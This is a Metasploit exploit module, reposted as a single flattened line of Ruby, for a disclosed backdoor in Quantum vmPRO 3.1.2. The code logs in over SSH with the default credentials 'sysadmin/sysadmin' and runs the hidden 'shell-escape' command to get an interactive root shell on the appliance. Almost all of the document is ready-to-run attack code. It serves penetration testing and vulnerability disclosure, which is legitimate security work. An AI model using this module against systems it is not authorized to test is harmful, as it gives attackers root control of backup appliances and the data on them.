Quantum vmPRO – Backdoor Command (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::CommandShell def initialize(info={}) super(update_info(info, 'Name' => "Quantum vmPRO Backdoor Command", 'Description' => %q{ This module abuses a backdoor command in vmPRO 3.1.2. Any user, even without admin privileges, can get access to the restricted SSH shell. By using the hidden backdoor "shell-escape" command it's possible to drop to a real root bash shell. }, 'License' => MSF_LICENSE, 'Author' => [ 'xistence <xistence[at]0x90.nl>' # Original discovery and Metasploit module ], 'References' => [ ['URL', 'http://packetstormsecurity.com/files/125760/quantumvmpro-backdoor.txt'] ], 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ ['Quantum vmPRO 3.1.2', {}], ], 'Privileged' => true, 'DisclosureDate' => "Mar 17 2014", 'DefaultTarget' => 0)) register_options( [ Opt::RHOST(), Opt::RPORT(22), OptString.new('USER', [ true, 'vmPRO SSH user', 'sysadmin']), OptString.new('PASS', [ true, 'vmPRO SSH password', 'sysadmin']) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def do_login(user, pass) opts = { :auth_methods => ['password', 'keyboard-interactive'], :msframework => framework, :msfmodule => self, :port => rport, :disable_agent => true, :config => true, :password => pass, :record_auth_info => true, :proxies => datastore['Proxies'] } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, user, opts) end rescue Rex::ConnectionError, Rex::AddressInUse return nil rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return nil rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return nil rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" return nil rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return nil end if ssh conn = Net::SSH::CommandStream.new(ssh, 'shell-escape', true) return conn end return nil end def exploit user = datastore['USER'] pass = datastore['PASS'] print_status("#{rhost}:#{rport} - Attempt to login...") conn = do_login(user, pass) if conn print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'") handler(conn.lsock) end end end |